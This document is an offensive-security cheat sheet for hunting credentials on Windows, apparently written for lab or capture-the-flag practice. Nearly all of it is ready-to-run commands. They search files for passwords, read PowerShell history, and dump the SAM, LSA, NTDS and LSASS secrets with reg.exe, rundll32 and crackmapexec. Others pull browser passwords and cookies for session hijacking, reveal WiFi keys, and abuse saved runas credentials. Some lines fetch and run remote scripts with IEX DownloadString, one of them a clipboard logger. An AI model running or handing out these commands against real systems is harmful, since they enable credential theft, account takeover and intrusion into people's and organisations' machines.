---
description: >-
  First part is big bunch of commands from cmd and powershell. Want more
  delailed info? Use AI. And second big part is just a lot of different
  techniques and tools. Happy Hunting)
---

# Cred Hunting

## <mark style="color:yellow;">CMD</mark>

```powershell
# Search file
C:\> findstr /s /i flag n:\*.*
C:\> dir n:\*flag* /s /
# Search for Strings within Files
C:\> findstr /si password *.xml *.ini *.txt *.config
C:\> findstr /spin "password" *.*
C:\> cd c:\Users\rio\Documents & findstr /SI /M "password" *.xml *.ini *.txt
C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
# Search for File Extensions
C:\> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
C:\> where /R C:\ *.config
```

## <mark style="color:yellow;">POWERsHELL</mark>

<pre class="language-powershell"><code class="lang-powershell"># Searching for Files (by Name or Pattern)
<strong>PS C:\> Get-ChildItem -Recurse -Path N:\ -Include *flag* -File
</strong>PS C:\> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
#$ Searching for strings within files
PS C:\> Get-ChildItem -Recurse -Path C:\ | Select-String "flag" -List
PS C:\> Select-String -Path C:\Users\rio\Documents\*.txt -Pattern password
</code></pre>

#### Powershell History File

```powershell
PS C:\> (Get-PSReadLineOption).HistorySavePath
PS C:\> gc (Get-PSReadLineOption).HistorySavePath
PS C:\> Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```

#### Powershell Credentials

They are often used for automation and scripting, and usually protected with DPAPI. But If we have gained command execution in the context of this user or can abuse DPAPI, then we can recover the cleartext credentials from <mark style="color:green;">`encrypted.xml`</mark>.

```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
PS C:\> $credential.GetNetworkCredential().password
```

## <mark style="color:yellow;">SAM Registry Hives Copy</mark>

If we have local admin access on target, we could copy three registry SAM hives, which would help us to dump and crack hashes

| Registry Hive                                         | Description                                                                         |
| ----------------------------------------------------- | ----------------------------------------------------------------------------------- |
| <mark style="color:green;">**`HKLM\sam`**</mark>      | Hashes associated with local account passwords                                      |
| <mark style="color:green;">**`HKLM\system`**</mark>   | System bootkey, which is encryption/decryption key for SAM                          |
| <mark style="color:green;">**`HKLM\security`**</mark> | Cached credentials for domain accounts, it is not 100% needed, but would help a lot |

For dumping hives we would use reg.exe as admin

```powershell
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
```

#### Running secretsdump.py

```bash
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

## <mark style="color:yellow;">**Remote Dumping**</mark>

#### **Dumping LSA Secrets Remotely**

```bash
crackmapexec smb 13.13.13.13 --local-auth -u rio -p rio@123 --lsa
```

#### Dumping SAM Remotely

```bash
crackmapexec smb 13.13.13.13 --local-auth -u rio -p rio@123 --sam
```

#### Dumping NTDS.dit Remotely

```bash
crackmapexec smb 13.13.13.13 -u rio -p rio@123 --ntds
```

## <mark style="color:yellow;">LSASS Dumping</mark>

**Rundll32.exe & Comsvcs.dll Method**

<mark style="color:orange;">**IMPORTANT: Anitivirus would see this as malicious activity.**</mark> The point of method is that we use <mark style="color:blue;">**rundll32.exe**</mark> to call an exported function of <mark style="color:blue;">**comsvcs.dll**</mark> which also calls the **MiniDumpWriteDump** (**MiniDump**) function to dump the **LSASS** process memory to a specified directory (**C:\lsass.dmp**). But to do this we'll need a LSASS PID. with <mark style="color:blue;">**`tasklist /svc`**</mark> in **cmd** or <mark style="color:blue;">**`Get-Process lsass`**</mark> in **powershell**. With PID we could dump LSASS memory.

```powershell
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 666 C:\lsass.dmp full
```

## <mark style="color:yellow;">Shadow Copy of C:</mark>

```powershell
PS C:\> vssadmin CREATE SHADOW /For=C:
```

## <mark style="color:yellow;">NTDS.dit</mark>

```bash
crackmapexec smb 13.13.13.13 -u rio -p rio@123 --ntds
```

## <mark style="color:yellow;">Cmdkey Saved Credentials</mark>

* <mark style="color:green;">`cmdkey`</mark> can be used to **create, list, and delete** stored usernames and passwords.
* Credentials stored for **Remote Desktop (RDP)** or other remote hosts can be exploited.

#### Listing Saved Credentials:

```cmd
C:\> cmdkey /list
```

* Saved credentials will be used when connecting via RDP.
* Can be exploited using <mark style="color:green;">`runas`</mark>:

```powershell
PS C:\> runas /savecred /user:rio\rio"COMMAND HERE"
```

## <mark style="color:yellow;">Browser Credentials</mark>

#### Retrieving Saved Credentials from Chrome

Using <mark style="color:green;">**SharpChrome**</mark> [**\[LINK\]**](https://github.com/GhostPack/SharpDPAPI) to extract saved passwords:

```powershell
PS C:\> .\SharpChrome.exe logins /unprotect
```

* Chrome credential storage can be found at:
  * **AES state key:** <mark style="color:green;">`C:\Users\rio\AppData\Local\Google\Chrome\User Data\Local State`</mark>
  * **Login data:** <mark style="color:green;">`C:\Users\rio\AppData\Local\Google\Chrome\User Data\Default\Login Data`</mark>
* Credentials can be extracted and reused.

## <mark style="color:yellow;">Password Managers</mark>

* Targets include <mark style="color:green;">**KeePass**</mark>, <mark style="color:green;">**1Password**</mark>, <mark style="color:green;">**Thycotic**</mark>, and <mark style="color:green;">**CyberArk**</mark>.
* **KeePass databases&#x20;**<mark style="color:blue;">**(.kdbx)**</mark>**&#x20;files** can be extracted and cracked.

#### Extracting KeePass Hash:

```bash
python2.7 keepass2john.py ARASAKA_Help_Desk.kdbx
```

#### Cracking KeePass Hash with Hashcat:

```bash
hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
```

* <mark style="color:green;">**MailSniper**</mark> [**\[LINK\]**](https://github.com/dafthack/MailSniper) <mark style="color:orange;">**can be used to search domain-joined email accounts for passwords.**</mark>

## <mark style="color:yellow;">LaZagne</mark>

<mark style="color:green;">**LaZagne**</mark> [**\[LINK\]**](https://github.com/AlessandroZ/LaZagne) is versatile tool which retrieves credentials from browsers, chat clients, databases, sysadmin tools, etc.

#### Run all modules:

```powershell
PS C:\> .\lazagne.exe all
```

## <mark style="color:yellow;">SessionGopher</mark>

**Extracting Remote Access Credentials**

* Extracts saved <mark style="color:green;">`PuTTY`</mark>, <mark style="color:green;">`WinSCP`</mark>, <mark style="color:green;">`FileZilla`</mark>, and <mark style="color:green;">`RDP`</mark> credentials.

#### Running <mark style="color:green;">SessionGopher</mark> [\[LINK\]](https://github.com/Arvanaghi/SessionGopher)

```powershell
PS C:\> Import-Module .\SessionGopher.ps1
PS C:\> Invoke-SessionGopher -Target ARASAKA-SRV1
```

## <mark style="color:yellow;">Windows Registry</mark>

#### <mark style="color:blue;">Windows AutoLogon</mark>

Stored in:

```powershell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
```

Retrieve:

```powershell
PS C:\> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

#### <mark style="color:blue;">PuTTY Saved Credentials</mark>

Stored in:

```powershell
HKEY_CURRENT_USER\SOFTWARE\VTheMerc\PuTTY\Sessions
```

Retrieve:

```powershell
PS C:\> reg query HKEY_CURRENT_USER\SOFTWARE\VTheMerc\PuTTY\Sessions
```

## <mark style="color:yellow;">WiFi Passwords</mark>

#### Listing Saved Wireless Networks:

```powershell
C:\> netsh wlan show profile
```

#### Retrieving Saved Wireless Passwords:

```powershell
C:\> netsh wlan show profile arasaka_corp key=clear
```

## <mark style="color:yellow;">COOKIES</mark>

### <mark style="color:blue;">**Firefox**</mark>

#### **Copy Firefox Cookies Database**

```powershell
PS C:\> copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
```

#### Extract cookies from database

For this we'll be using <mark style="color:green;">**cookieextractor.py**</mark> script [**\[LINK\]**](https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/cookieextractor.py)

```powershell
python3 cookieextractor.py --dbpath "/home/rio/cookies.sqlite" --host slack --cookie d
```

* After this we could use Cookie Editor browser extenstion to paste stolen cookie into our session

### <mark style="color:blue;">Chrome</mark>

Chromium-based browsers also use sqlite databases but usually encrypts it with **DPAPI**, which is commonly used to encrypt data using information from the current user account or computer. To get cookie value we need to decrypt from compromised user session. <mark style="color:green;">**SharpChromium**</mark> script [**\[LINK\]**](https://github.com/djhohnstein/SharpChromium) will help us with it

#### Invoke-SharpChromium

<pre class="language-powershell"><code class="lang-powershell"><strong>PS C:\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSh
</strong>arpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
PS C:\> Invoke-SharpChromium -Command "cookies slack.com"
</code></pre>

## <mark style="color:yellow;">CLIPBOARD</mark>

For this we are using <mark style="color:green;">**Invoke-ClipboardLogger**</mark> script [**\[LINK\]**](https://github.com/inguardians/Invoke-Clipboard/blob/master/Invoke-Clipboard.ps1)

```powershell
PS C:\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
PS C:\> Invoke-ClipboardLogger
```

## <mark style="color:orange;">INTERESTING FILES</mark>

```powershell
unattend.xml
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
```
